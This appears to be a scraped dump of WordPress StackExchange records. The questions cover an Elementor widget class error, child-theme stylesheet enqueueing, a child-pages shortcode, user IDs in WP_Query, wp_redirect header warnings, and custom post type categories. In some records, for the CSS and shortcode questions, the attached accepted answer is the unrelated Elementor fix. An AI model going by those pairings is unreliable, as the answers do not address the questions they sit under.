* @access public
*
* @return string Widget title.
*/
public function get_title() {
return __( 'oEmbed', 'plugin-name' );
}
/**
* Get widget icon.
*
* Retrieve oEmbed widget icon.
*
* @since 1.0.0
* @access public
*
* @return string Widget icon.
*/
public function get_icon() {
return 'fa fa-code';
}
/**
* Get widget categories.
*
* Retrieve the list of categories the oEmbed widget belongs to.
*
* @since 1.0.0
* @access public
*
* @return array Widget categories.
*/
public function get_categories() {
return [ 'general' ];
}
/**
* Register oEmbed widget controls.
*
* Adds different input fields to allow the user to change and customize the widget settings.
*
* @since 1.0.0
* @access protected
*/
protected function _register_controls() {
$this->start_controls_section(
'content_section',
[
'label' => __( 'Content', 'plugin-name' ),
'tab' => \Elementor\Controls_Manager::TAB_CONTENT,
]
);
$this->add_control(
'url',
[
'label' => __( 'URL to embed', 'plugin-name' ),
'type' => \Elementor\Controls_Manager::TEXT,
'input_type' => 'url',
'placeholder' => __( 'https://your-link.com', 'plugin-name' ),
]
);
$this->end_controls_section();
}
/**
* Render oEmbed widget output on the frontend.
*
* Written in PHP and used to generate the final HTML.
*
* @since 1.0.0
* @access protected
*/
protected function render() {
$settings = $this->get_settings_for_display();
$html = wp_oembed_get( $settings['url'] );
echo '<div class="oembed-elementor-widget">';
echo ( $html ) ? $html : $settings['url'];
echo '</div>';
}
}
</code></pre>
| [
{
"answer_id": 304037,
"author": "Frank",
"author_id": 143975,
"author_profile": "https://wordpress.stackexchange.com/users/143975",
"pm_score": 4,
"selected": true,
"text": "<p>I had the same problem. Take $this->includes(); out of the init method, and put it into the register_widgets method:</p>\n\n<pre><code>public function init() {\n\n ...\n\n // Include plugin files\n // $this->includes(); // <-- remove this\n\n}\n\npublic function register_widgets() {\n\n $this->includes(); // <- put it here\n \\Elementor\\Plugin::instance()->widgets_manager->register_widget_type( new \\Elementor_oEmbed_Widget() );\n\n}\n</code></pre>\n"
},
{
"answer_id": 367149,
"author": "Thrinadh Kumpatla",
"author_id": 188520,
"author_profile": "https://wordpress.stackexchange.com/users/188520",
"pm_score": 0,
"selected": false,
"text": "<p>go to <code>/var/www/wordpress/wp-content/themes/ReservoirLabs_v2</code> </p>\n\n<p>and open <code>functions.php</code> file</p>\n\n<p>and comment <code>require( get_template_directory()</code></p>\n"
}
]
| 2018/05/17 | [
"https://wordpress.stackexchange.com/questions/303752",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112255/"
]
| I'm trying to create basic widget in Elementor. When following the developer docs to create a new widget, the following error is thrown:
Fatal error: Class 'Elementor\Widget\_Base' not found
Here is my code (mostly copied from official docs)
**Main plugin extension class:**
```
<?php
/**
* Plugin Name: Deo Elementor Extension
* Description: Custom Elementor extension.
* Plugin URI: https://elementor.com/
* Version: 1.0.0
* Author: DeoThemes
* Author URI: https://elementor.com/
* Text Domain: deo-elementor-extension
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
/**
* Main Elementor Test Extension Class
*
* The main class that initiates and runs the plugin.
*
* @since 1.0.0
*/
final class Elementor_Test_Extension {
/**
* Plugin Version
*
* @since 1.0.0
*
* @var string The plugin version.
*/
const VERSION = '1.0.0';
/**
* Minimum Elementor Version
*
* @since 1.0.0
*
* @var string Minimum Elementor version required to run the plugin.
*/
const MINIMUM_ELEMENTOR_VERSION = '2.0.0';
/**
* Minimum PHP Version
*
* @since 1.0.0
*
* @var string Minimum PHP version required to run the plugin.
*/
const MINIMUM_PHP_VERSION = '7.0';
/**
* Instance
*
* @since 1.0.0
*
* @access private
* @static
*
* @var Elementor_Test_Extension The single instance of the class.
*/
private static $_instance = null;
/**
* Instance
*
* Ensures only one instance of the class is loaded or can be loaded.
*
* @since 1.0.0
*
* @access public
* @static
*
* @return Elementor_Test_Extension An instance of the class.
*/
public static function instance() {
if ( is_null( self::$_instance ) ) {
self::$_instance = new self();
}
return self::$_instance;
}
/**
* Constructor
*
* @since 1.0.0
*
* @access public
*/
public function __construct() {
add_action( 'init', [ $this, 'i18n' ] );
add_action( 'plugins_loaded', [ $this, 'init' ] );
}
/**
* Load Textdomain
*
* Load plugin localization files.
*
* Fired by `init` action hook.
*
* @since 1.0.0
*
* @access public
*/
public function i18n() {
load_plugin_textdomain( 'elementor-test-extension' );
}
/**
* Initialize the plugin
*
* Load the plugin only after Elementor (and other plugins) are loaded.
* Checks for basic plugin requirements, if one check fail don't continue,
* if all check have passed load the files required to run the plugin.
*
* Fired by `plugins_loaded` action hook.
*
* @since 1.0.0
*
* @access public
*/
public function init() {
// Check if Elementor installed and activated
if ( ! did_action( 'elementor/loaded' ) ) {
add_action( 'admin_notices', [ $this, 'admin_notice_missing_main_plugin' ] );
return;
}
// Check for required Elementor version
if ( ! version_compare( ELEMENTOR_VERSION, self::MINIMUM_ELEMENTOR_VERSION, '>=' ) ) {
add_action( 'admin_notices', [ $this, 'admin_notice_minimum_elementor_version' ] );
return;
}
// Check for required PHP version
if ( version_compare( PHP_VERSION, self::MINIMUM_PHP_VERSION, '<' ) ) {
add_action( 'admin_notices', [ $this, 'admin_notice_minimum_php_version' ] );
return;
}
// Include plugin files
$this->includes();
// Register widgets
add_action( 'elementor/widgets/widgets_registered', [ $this, 'register_widgets' ] );
}
/**
* Admin notice
*
* Warning when the site doesn't have Elementor installed or activated.
*
* @since 1.0.0
*
* @access public
*/
public function admin_notice_missing_main_plugin() {
if ( isset( $_GET['activate'] ) ) unset( $_GET['activate'] );
$message = sprintf(
/* translators: 1: Plugin name 2: Elementor */
esc_html__( '"%1$s" requires "%2$s" to be installed and activated.', 'elementor-test-extension' ),
'<strong>' . esc_html__( 'Elementor Test Extension', 'elementor-test-extension' ) . '</strong>',
'<strong>' . esc_html__( 'Elementor', 'elementor-test-extension' ) . '</strong>'
);
printf( '<div class="notice notice-warning is-dismissible"><p>%1$s</p></div>', $message );
}
/**
* Admin notice
*
* Warning when the site doesn't have a minimum required Elementor version.
*
* @since 1.0.0
*
* @access public
*/
public function admin_notice_minimum_elementor_version() {
if ( isset( $_GET['activate'] ) ) unset( $_GET['activate'] );
$message = sprintf(
/* translators: 1: Plugin name 2: Elementor 3: Required Elementor version */
esc_html__( '"%1$s" requires "%2$s" version %3$s or greater.', 'elementor-test-extension' ),
'<strong>' . esc_html__( 'Elementor Test Extension', 'elementor-test-extension' ) . '</strong>',
'<strong>' . esc_html__( 'Elementor', 'elementor-test-extension' ) . '</strong>',
self::MINIMUM_ELEMENTOR_VERSION
);
printf( '<div class="notice notice-warning is-dismissible"><p>%1$s</p></div>', $message );
}
/**
* Admin notice
*
* Warning when the site doesn't have a minimum required PHP version.
*
* @since 1.0.0
*
* @access public
*/
public function admin_notice_minimum_php_version() {
if ( isset( $_GET['activate'] ) ) unset( $_GET['activate'] );
$message = sprintf(
/* translators: 1: Plugin name 2: PHP 3: Required PHP version */
esc_html__( '"%1$s" requires "%2$s" version %3$s or greater.', 'elementor-test-extension' ),
'<strong>' . esc_html__( 'Elementor Test Extension', 'elementor-test-extension' ) . '</strong>',
'<strong>' . esc_html__( 'PHP', 'elementor-test-extension' ) . '</strong>',
self::MINIMUM_PHP_VERSION
);
printf( '<div class="notice notice-warning is-dismissible"><p>%1$s</p></div>', $message );
}
/**
* Include Files
*
* Load required plugin core files.
*
* @since 1.0.0
*
* @access public
*/
public function includes() {
require_once( __DIR__ . '/widgets/test-widget.php' );
//require_once( __DIR__ . '/controls/test-control.php' );
}
public function register_widgets() {
\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor_oEmbed_Widget() );
}
}
Elementor_Test_Extension::instance();
```
**Test widget class:**
```
<?php
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
class Elementor_oEmbed_Widget extends \Elementor\Widget_Base {
/**
* Get widget name.
*
* Retrieve oEmbed widget name.
*
* @since 1.0.0
* @access public
*
* @return string Widget name.
*/
public function get_name() {
return 'oembed';
}
/**
* Get widget title.
*
* Retrieve oEmbed widget title.
*
* @since 1.0.0
* @access public
*
* @return string Widget title.
*/
public function get_title() {
return __( 'oEmbed', 'plugin-name' );
}
/**
* Get widget icon.
*
* Retrieve oEmbed widget icon.
*
* @since 1.0.0
* @access public
*
* @return string Widget icon.
*/
public function get_icon() {
return 'fa fa-code';
}
/**
* Get widget categories.
*
* Retrieve the list of categories the oEmbed widget belongs to.
*
* @since 1.0.0
* @access public
*
* @return array Widget categories.
*/
public function get_categories() {
return [ 'general' ];
}
/**
* Register oEmbed widget controls.
*
* Adds different input fields to allow the user to change and customize the widget settings.
*
* @since 1.0.0
* @access protected
*/
protected function _register_controls() {
$this->start_controls_section(
'content_section',
[
'label' => __( 'Content', 'plugin-name' ),
'tab' => \Elementor\Controls_Manager::TAB_CONTENT,
]
);
$this->add_control(
'url',
[
'label' => __( 'URL to embed', 'plugin-name' ),
'type' => \Elementor\Controls_Manager::TEXT,
'input_type' => 'url',
'placeholder' => __( 'https://your-link.com', 'plugin-name' ),
]
);
$this->end_controls_section();
}
/**
* Render oEmbed widget output on the frontend.
*
* Written in PHP and used to generate the final HTML.
*
* @since 1.0.0
* @access protected
*/
protected function render() {
$settings = $this->get_settings_for_display();
$html = wp_oembed_get( $settings['url'] );
echo '<div class="oembed-elementor-widget">';
echo ( $html ) ? $html : $settings['url'];
echo '</div>';
}
}
``` | I had the same problem. Take $this->includes(); out of the init method, and put it into the register\_widgets method:
```
public function init() {
...
// Include plugin files
// $this->includes(); // <-- remove this
}
public function register_widgets() {
$this->includes(); // <- put it here
\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor_oEmbed_Widget() );
}
``` |
303,770 | <p>In the last month I have been creating my very first website. Before this I had no coding knowledge so everyhting I learnt was new to me.</p>
<p>My problem over the last week is that my child theme .css files (and php. file but that is a different matter) are not overriding their parent .css files. I have been trying to search for a solution all week but have had no success so far.</p>
<p>This is the code I put into the child functions.php file</p>
<p>===============================================================
(5) - This code allows the child-theme to be read last, but some other css (that must rely on something else?) causes some errors/</p>
<pre><code><?php
function my_theme_enqueue_styles() {
$parent_style = 'adforest-original-modern'; // This is 'adforest-style' for the AdForest theme.
wp_enqueue_style( $parent_style, get_template_directory_uri().'/css/modern.css' );
wp_enqueue_style( 'child-style',
get_stylesheet_directory_uri().'/modern.css',
array( $parent_style ),
wp_get_theme()->get('1.0.0'));
}
add_action( 'wp_enqueue_scripts', 'my_theme_enqueue_styles' );
function wp_67472455() {
wp_dequeue_style( 'adforest-theme-modern' );
wp_deregister_style( 'adforest-theme-modern' );
}
add_action( 'wp_print_styles', 'wp_67472455', 100 );
?>
</code></pre>
<p>==========================================================</p>
<p>(6) - <strong>THIS FOLLOWING CODE WORKS, CAN ANYONE SEE POTENTIAL ISSUES WITH THIS CODE?</strong></p>
<pre><code><?php
function my_theme_enqueue_styles() {
/* =================== modern.css ==========================*/
$parent_style = 'adforest-original-modern'; // This is 'adforest-style' for the AdForest theme.
wp_enqueue_style( $parent_style, get_template_directory_uri().'/css/modern.css' );
wp_enqueue_style( 'child-style',
get_stylesheet_directory_uri().'/modern.css',
array( $parent_style ),
wp_get_theme()->get('1.0.0'));
/* =================== default.css ==========================*/
wp_enqueue_style( 'defualt-original-color', get_template_directory_uri().'/css/colors/defualt.css' );
wp_enqueue_style( 'child-defualt-color',
get_stylesheet_directory_uri().'/defualt.css',
array( 'defualt-original-color' ),
wp_get_theme()->get('1.0.0'));
}
add_action( 'wp_enqueue_scripts', 'my_theme_enqueue_styles', 100 );
function wp_67472455() {
/* =================== modern.css ==========================*/
wp_dequeue_style( 'adforest-theme-modern' );
wp_deregister_style( 'adforest-theme-modern' );
/* =================== default.css ==========================*/
wp_dequeue_style( 'defualt-color' );
wp_deregister_style( 'defualt-color' );
}
add_action( 'wp_print_styles', 'wp_67472455', 1 );
?>
</code></pre>
| [
{
"answer_id": 304037,
"author": "Frank",
"author_id": 143975,
"author_profile": "https://wordpress.stackexchange.com/users/143975",
"pm_score": 4,
"selected": true,
"text": "<p>I had the same problem. Take $this->includes(); out of the init method, and put it into the register_widgets method:</p>\n\n<pre><code>public function init() {\n\n ...\n\n // Include plugin files\n // $this->includes(); // <-- remove this\n\n}\n\npublic function register_widgets() {\n\n $this->includes(); // <- put it here\n \\Elementor\\Plugin::instance()->widgets_manager->register_widget_type( new \\Elementor_oEmbed_Widget() );\n\n}\n</code></pre>\n"
},
{
"answer_id": 367149,
"author": "Thrinadh Kumpatla",
"author_id": 188520,
"author_profile": "https://wordpress.stackexchange.com/users/188520",
"pm_score": 0,
"selected": false,
"text": "<p>go to <code>/var/www/wordpress/wp-content/themes/ReservoirLabs_v2</code> </p>\n\n<p>and open <code>functions.php</code> file</p>\n\n<p>and comment <code>require( get_template_directory()</code></p>\n"
}
]
| 2018/05/17 | [
"https://wordpress.stackexchange.com/questions/303770",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143784/"
]
| In the last month I have been creating my very first website. Before this I had no coding knowledge so everyhting I learnt was new to me.
My problem over the last week is that my child theme .css files (and php. file but that is a different matter) are not overriding their parent .css files. I have been trying to search for a solution all week but have had no success so far.
This is the code I put into the child functions.php file
===============================================================
(5) - This code allows the child-theme to be read last, but some other css (that must rely on something else?) causes some errors/
```
<?php
function my_theme_enqueue_styles() {
$parent_style = 'adforest-original-modern'; // This is 'adforest-style' for the AdForest theme.
wp_enqueue_style( $parent_style, get_template_directory_uri().'/css/modern.css' );
wp_enqueue_style( 'child-style',
get_stylesheet_directory_uri().'/modern.css',
array( $parent_style ),
wp_get_theme()->get('1.0.0'));
}
add_action( 'wp_enqueue_scripts', 'my_theme_enqueue_styles' );
function wp_67472455() {
wp_dequeue_style( 'adforest-theme-modern' );
wp_deregister_style( 'adforest-theme-modern' );
}
add_action( 'wp_print_styles', 'wp_67472455', 100 );
?>
```
==========================================================
(6) - **THIS FOLLOWING CODE WORKS, CAN ANYONE SEE POTENTIAL ISSUES WITH THIS CODE?**
```
<?php
function my_theme_enqueue_styles() {
/* =================== modern.css ==========================*/
$parent_style = 'adforest-original-modern'; // This is 'adforest-style' for the AdForest theme.
wp_enqueue_style( $parent_style, get_template_directory_uri().'/css/modern.css' );
wp_enqueue_style( 'child-style',
get_stylesheet_directory_uri().'/modern.css',
array( $parent_style ),
wp_get_theme()->get('1.0.0'));
/* =================== default.css ==========================*/
wp_enqueue_style( 'defualt-original-color', get_template_directory_uri().'/css/colors/defualt.css' );
wp_enqueue_style( 'child-defualt-color',
get_stylesheet_directory_uri().'/defualt.css',
array( 'defualt-original-color' ),
wp_get_theme()->get('1.0.0'));
}
add_action( 'wp_enqueue_scripts', 'my_theme_enqueue_styles', 100 );
function wp_67472455() {
/* =================== modern.css ==========================*/
wp_dequeue_style( 'adforest-theme-modern' );
wp_deregister_style( 'adforest-theme-modern' );
/* =================== default.css ==========================*/
wp_dequeue_style( 'defualt-color' );
wp_deregister_style( 'defualt-color' );
}
add_action( 'wp_print_styles', 'wp_67472455', 1 );
?>
``` | I had the same problem. Take $this->includes(); out of the init method, and put it into the register\_widgets method:
```
public function init() {
...
// Include plugin files
// $this->includes(); // <-- remove this
}
public function register_widgets() {
$this->includes(); // <- put it here
\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor_oEmbed_Widget() );
}
``` |
303,786 | <p>I am trying to display the sub-pages of a custom page on the parent page. I found an abbreviated code that works very well for standard WordPress post_type "pages", but does not work for custom publishing types.</p>
<p>Here's the short code code I put in my functions.php file:</p>
<pre><code>function v_list_child_pages() {
global $post;
if ( is_page() && $post->post_parent )
$childpages = wp_list_pages( 'sort_column=menu_order&title_li=&child_of=' . $post->post_parent . '&echo=0' );
else
$childpages = wp_list_pages( 'sort_column=menu_order&title_li=&child_of=' . $post->ID . '&echo=0' );
if ( $childpages ) {
$string = '<ul>' . $childpages . '</ul>';
}
return $string;
}
add_shortcode('v_childpages', 'v_list_child_pages');
</code></pre>
<hr>
<p>If I place the shortcode[v_childpages] on a post_type "page" with children, it successfully displays all subpages in the linked list. But if I add it in a custom post_type, it's not like that.</p>
<p>Any advice or suggestion is welcome, thank you!</p>
| [
{
"answer_id": 304037,
"author": "Frank",
"author_id": 143975,
"author_profile": "https://wordpress.stackexchange.com/users/143975",
"pm_score": 4,
"selected": true,
"text": "<p>I had the same problem. Take $this->includes(); out of the init method, and put it into the register_widgets method:</p>\n\n<pre><code>public function init() {\n\n ...\n\n // Include plugin files\n // $this->includes(); // <-- remove this\n\n}\n\npublic function register_widgets() {\n\n $this->includes(); // <- put it here\n \\Elementor\\Plugin::instance()->widgets_manager->register_widget_type( new \\Elementor_oEmbed_Widget() );\n\n}\n</code></pre>\n"
},
{
"answer_id": 367149,
"author": "Thrinadh Kumpatla",
"author_id": 188520,
"author_profile": "https://wordpress.stackexchange.com/users/188520",
"pm_score": 0,
"selected": false,
"text": "<p>go to <code>/var/www/wordpress/wp-content/themes/ReservoirLabs_v2</code> </p>\n\n<p>and open <code>functions.php</code> file</p>\n\n<p>and comment <code>require( get_template_directory()</code></p>\n"
}
]
| 2018/05/17 | [
"https://wordpress.stackexchange.com/questions/303786",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143797/"
]
| I am trying to display the sub-pages of a custom page on the parent page. I found an abbreviated code that works very well for standard WordPress post\_type "pages", but does not work for custom publishing types.
Here's the short code code I put in my functions.php file:
```
function v_list_child_pages() {
global $post;
if ( is_page() && $post->post_parent )
$childpages = wp_list_pages( 'sort_column=menu_order&title_li=&child_of=' . $post->post_parent . '&echo=0' );
else
$childpages = wp_list_pages( 'sort_column=menu_order&title_li=&child_of=' . $post->ID . '&echo=0' );
if ( $childpages ) {
$string = '<ul>' . $childpages . '</ul>';
}
return $string;
}
add_shortcode('v_childpages', 'v_list_child_pages');
```
---
If I place the shortcode[v\_childpages] on a post\_type "page" with children, it successfully displays all subpages in the linked list. But if I add it in a custom post\_type, it's not like that.
Any advice or suggestion is welcome, thank you! | I had the same problem. Take $this->includes(); out of the init method, and put it into the register\_widgets method:
```
public function init() {
...
// Include plugin files
// $this->includes(); // <-- remove this
}
public function register_widgets() {
$this->includes(); // <- put it here
\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor_oEmbed_Widget() );
}
``` |
303,887 | <p>I need to print the user's id into this array but it doesn't seem to be working. I have tried all sorts of things from $user->ID to $user_id to no avail. I am trying to get the value from my functions.php
Any help would be greatly appreciated!</p>
<p>Here what's in my php function:</p>
<pre><code>$user_page = get_queried_object();
$user_id = $user_page->data->ID;
$args = array(
'post_type' => 'listings',
'post_status' => 'publish',
'meta_query' => array(
array(
'key' => 'stm_car_user',
'value' => $user_id
)
)
);
$query = new WP_Query($args);
</code></pre>
<p>I'm sorry if my question is a little vague, here is what I am trying to achieve I don't want to get the id of the currently logged in user, I want to get the id of the user that the information is on, I am displaying the user's posts on their profiles and I need their id's displayed dynamically for each profile, you get me? I hope this clarifies things...</p>
| [
{
"answer_id": 303890,
"author": "SopsoN",
"author_id": 110124,
"author_profile": "https://wordpress.stackexchange.com/users/110124",
"pm_score": 0,
"selected": false,
"text": "<p>If I'm not wrong it should be</p>\n\n<pre><code>$user_page->ID\n</code></pre>\n\n<p>Also you can check</p>\n\n<pre><code>get_queried_object_id()\n</code></pre>\n"
},
{
"answer_id": 303893,
"author": "idpokute",
"author_id": 87895,
"author_profile": "https://wordpress.stackexchange.com/users/87895",
"pm_score": 0,
"selected": false,
"text": "<p>Here is the example, this is display all users in subscribers role.</p>\n\n<pre><code>$subscribers = get_users( [ 'role__in' => [ 'subscriber' ] ] );\n// Array of WP_User objects.\nforeach ( $subscribers as $user ) {\n echo '<span>' . $user->ID . '</span>';\n}\n</code></pre>\n"
},
{
"answer_id": 303894,
"author": "Tom J Nowell",
"author_id": 736,
"author_profile": "https://wordpress.stackexchange.com/users/736",
"pm_score": 1,
"selected": false,
"text": "<p>The answer to your question is literally the title with underscores instead of spaces:</p>\n\n<pre><code>$user_id = get_current_user_id();\n</code></pre>\n\n<p><a href=\"https://developer.wordpress.org/reference/functions/get_current_user_id/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/functions/get_current_user_id/</a></p>\n"
},
{
"answer_id": 388063,
"author": "Robert Went",
"author_id": 99385,
"author_profile": "https://wordpress.stackexchange.com/users/99385",
"pm_score": 0,
"selected": false,
"text": "<p>If you use an author.php file in your theme then it would automatically get the posts from that author.</p>\n<p><a href=\"https://codex.wordpress.org/Author_Templates#Which_Template_File_is_Used.3F\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Author_Templates#Which_Template_File_is_Used.3F</a></p>\n<p>That way you don't need to manually code your own and wp core code to link to author profiles would work without any modifications.</p>\n"
}
]
| 2018/05/18 | [
"https://wordpress.stackexchange.com/questions/303887",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143707/"
]
| I need to print the user's id into this array but it doesn't seem to be working. I have tried all sorts of things from $user->ID to $user\_id to no avail. I am trying to get the value from my functions.php
Any help would be greatly appreciated!
Here what's in my php function:
```
$user_page = get_queried_object();
$user_id = $user_page->data->ID;
$args = array(
'post_type' => 'listings',
'post_status' => 'publish',
'meta_query' => array(
array(
'key' => 'stm_car_user',
'value' => $user_id
)
)
);
$query = new WP_Query($args);
```
I'm sorry if my question is a little vague, here is what I am trying to achieve I don't want to get the id of the currently logged in user, I want to get the id of the user that the information is on, I am displaying the user's posts on their profiles and I need their id's displayed dynamically for each profile, you get me? I hope this clarifies things... | The answer to your question is literally the title with underscores instead of spaces:
```
$user_id = get_current_user_id();
```
<https://developer.wordpress.org/reference/functions/get_current_user_id/> |
303,924 | <p>I already consulted <a href="https://wordpress.stackexchange.com/questions/17064/error-messages-when-adding-code-to-function-php-or-trying-to-delete-inactive-plu?s=1%7C132.3108">this post</a> and <a href="https://wordpress.stackexchange.com/questions/179070/wp-redirect-headers-already-sent">this post</a> but did not see a solution.</p>
<p>I need to redirect a page based on its <code>$post->post_type</code> and from what little I know, I can get this information inside the <code>template_redirect</code> hook.</p>
<p>So I have code below inside <code>functions.php</code> (of astra-child theme):</p>
<pre><code>add_action('template_redirect', 'redir_sorteio');
function redir_sorteio() {
global $post;
if ($post->post_type == 'sorteio')
wp_redirect('/edicao/?id=' . $post->ID);
}
</code></pre>
<p><strong>And it works perfectly.</strong></p>
<p>But for some reason, errors have appeared within the log, like:</p>
<pre><code>[18-May-2018 01:11:22 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/rogeriod/public_html/wordpress/sortemania/wp-content/themes/astra-child/functions.php:32) in /home/rogeriod/public_html/wordpress/sortemania/wp-includes/functions.php on line 1311
</code></pre>
<p>Where line 32 of functions.php (above) is the <code>wp_redirect('/edicao/?id=' . $post->ID)</code> and line 1311 of wordpress functions.php is the <code>header</code> command inside <code>do_robots</code>function:</p>
<pre><code>function do_robots() {
header( 'Content-Type: text/plain; charset=utf-8' );
</code></pre>
<p>How can I find out what causes this and resolve it, since <code>wp_redirect</code> is working and no error appears directly to the user?</p>
| [
{
"answer_id": 303926,
"author": "Akshat",
"author_id": 114978,
"author_profile": "https://wordpress.stackexchange.com/users/114978",
"pm_score": 2,
"selected": false,
"text": "<p>Try replacing wp_redirect with wp_safe_redirect and if you have php closing tag \"?>\" at end of files, remove them, at least you can check the header.php for php closing tag.</p>\n"
},
{
"answer_id": 304062,
"author": "Rogério Dec",
"author_id": 143330,
"author_profile": "https://wordpress.stackexchange.com/users/143330",
"pm_score": 1,
"selected": false,
"text": "<p>Actually the answers to change to <code>wp_safe_redirect</code> and put <code>exit();</code> at the end, partially resolved the problem and it is a solution that only works inside the <code>template_redirect</code>, because in other places the problem persists.</p>\n\n<p>This became a nightmare and I realized that it is also the nightmare of many, until I was able to find in a post an efficient, albeit unorthodox, solution: <strong>javascript</strong>.</p>\n\n<p>So, after several attempts and errors, I got a stable code like this:</p>\n\n<pre><code>add_action('template_redirect', 'redireciona_sorteio'); \n\nfunction redireciona_sorteio() {\n global $post;\n if (isset($post->post_type)) {\n if ($post->post_type == 'sorteio') {\n if (!$post->ID) {\n echo '<script> location.replace(\"/\"); </script>';\n }\n else {\n wp_safe_redirect('/edicao/?id=' . $post->ID);\n exit();\n }\n }\n }\n}\n</code></pre>\n"
}
]
| 2018/05/18 | [
"https://wordpress.stackexchange.com/questions/303924",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143330/"
]
| I already consulted [this post](https://wordpress.stackexchange.com/questions/17064/error-messages-when-adding-code-to-function-php-or-trying-to-delete-inactive-plu?s=1%7C132.3108) and [this post](https://wordpress.stackexchange.com/questions/179070/wp-redirect-headers-already-sent) but did not see a solution.
I need to redirect a page based on its `$post->post_type` and from what little I know, I can get this information inside the `template_redirect` hook.
So I have code below inside `functions.php` (of astra-child theme):
```
add_action('template_redirect', 'redir_sorteio');
function redir_sorteio() {
global $post;
if ($post->post_type == 'sorteio')
wp_redirect('/edicao/?id=' . $post->ID);
}
```
**And it works perfectly.**
But for some reason, errors have appeared within the log, like:
```
[18-May-2018 01:11:22 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/rogeriod/public_html/wordpress/sortemania/wp-content/themes/astra-child/functions.php:32) in /home/rogeriod/public_html/wordpress/sortemania/wp-includes/functions.php on line 1311
```
Where line 32 of functions.php (above) is the `wp_redirect('/edicao/?id=' . $post->ID)` and line 1311 of wordpress functions.php is the `header` command inside `do_robots`function:
```
function do_robots() {
header( 'Content-Type: text/plain; charset=utf-8' );
```
How can I find out what causes this and resolve it, since `wp_redirect` is working and no error appears directly to the user? | Try replacing wp\_redirect with wp\_safe\_redirect and if you have php closing tag "?>" at end of files, remove them, at least you can check the header.php for php closing tag. |
303,940 | <pre><code>$args = array(
'labels' => $labels,
'description' => __( 'The Video Custom Post Type', 'xxxx' ),
'public' => true,
'publicly_queryable' => true,
'show_ui' => true,
'show_in_menu' => true,
'query_var' => true,
'rewrite' => array( 'slug' => 'videos' ),
'capability_type' => 'post',
'has_archive' => true,
'hierarchical' => false,
'menu_position' => null,
'supports' => array( 'title', 'editor', 'author', 'thumbnail', 'excerpt', 'comments' ),
'taxonomies' => array( 'category' ),
);
</code></pre>
<p>This is how I gave the category functionality to one of my custom post type, but it also has the same categories coming up that are present in the default post type when we browse like this:</p>
<blockquote>
<p>Videos >> categories</p>
</blockquote>
<p>In short, categories are equally present for both the default and CPT. Is it normal or there is something wrong?</p>
| [
{
"answer_id": 303942,
"author": "Jacob Peattie",
"author_id": 39152,
"author_profile": "https://wordpress.stackexchange.com/users/39152",
"pm_score": 4,
"selected": true,
"text": "<p>Because Category is a specific <a href=\"https://codex.wordpress.org/Taxonomies\" rel=\"noreferrer\">taxonomy</a>, not just a piece of general 'functionality' that you can add to post types. </p>\n\n<p>When you add <code>category</code> to <code>taxonomies</code> for your post type you're registering the Category taxonomy that already exists for Posts for your post type.</p>\n\n<p>If you want to have separate Categories for your post type you need to register a <em>custom taxonomy</em> with <a href=\"https://developer.wordpress.org/reference/functions/register_taxonomy/\" rel=\"noreferrer\"><code>register_taxonomy()</code></a>. Something like <code>video_category</code>.</p>\n"
},
{
"answer_id": 303946,
"author": "Jignesh Patel",
"author_id": 111556,
"author_profile": "https://wordpress.stackexchange.com/users/111556",
"pm_score": 1,
"selected": false,
"text": "<p>In Your arguments you give default taxonomies name. Like:</p>\n\n<pre><code>'taxonomies' => array( 'category' ), \n</code></pre>\n\n<p>Here you pass the your custom taxonomies slug name. Like:</p>\n\n<pre><code>'taxonomies' => array( 'custom-taxonomies-slug' ),\n</code></pre>\n\n<p>So first you create custom taxonomies where you create your custom post-type</p>\n\n<p>Reference: <a href=\"https://codex.wordpress.org/Function_Reference/register_taxonomy\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Function_Reference/register_taxonomy</a> </p>\n"
}
]
| 2018/05/19 | [
"https://wordpress.stackexchange.com/questions/303940",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/105791/"
]
| ```
$args = array(
'labels' => $labels,
'description' => __( 'The Video Custom Post Type', 'xxxx' ),
'public' => true,
'publicly_queryable' => true,
'show_ui' => true,
'show_in_menu' => true,
'query_var' => true,
'rewrite' => array( 'slug' => 'videos' ),
'capability_type' => 'post',
'has_archive' => true,
'hierarchical' => false,
'menu_position' => null,
'supports' => array( 'title', 'editor', 'author', 'thumbnail', 'excerpt', 'comments' ),
'taxonomies' => array( 'category' ),
);
```
This is how I gave the category functionality to one of my custom post type, but it also has the same categories coming up that are present in the default post type when we browse like this:
>
> Videos >> categories
>
>
>
In short, categories are equally present for both the default and CPT. Is it normal or there is something wrong? | Because Category is a specific [taxonomy](https://codex.wordpress.org/Taxonomies), not just a piece of general 'functionality' that you can add to post types.
When you add `category` to `taxonomies` for your post type you're registering the Category taxonomy that already exists for Posts for your post type.
If you want to have separate Categories for your post type you need to register a *custom taxonomy* with [`register_taxonomy()`](https://developer.wordpress.org/reference/functions/register_taxonomy/). Something like `video_category`. |
304,107 | <p>I am new to ACF and Custom Post Types and novice at best with PHP & Coding.</p>
<p>I need help to make <code>the_field</code> linked on my front end display. I also want to show the link as the link text.</p>
<pre><code><?php
if( get_field('svcta_contact_information_group_svcta_contact_website')) {
echo '<div class="svcta-contact-website" id="svcta-id-contact-website">';
echo '<strong>Contact Website:</strong> ';
the_field('svcta_contact_information_group_svcta_contact_website');
echo '</div>';
}
?>
</code></pre>
<p>Thanks for the help.</p>
| [
{
"answer_id": 303942,
"author": "Jacob Peattie",
"author_id": 39152,
"author_profile": "https://wordpress.stackexchange.com/users/39152",
"pm_score": 4,
"selected": true,
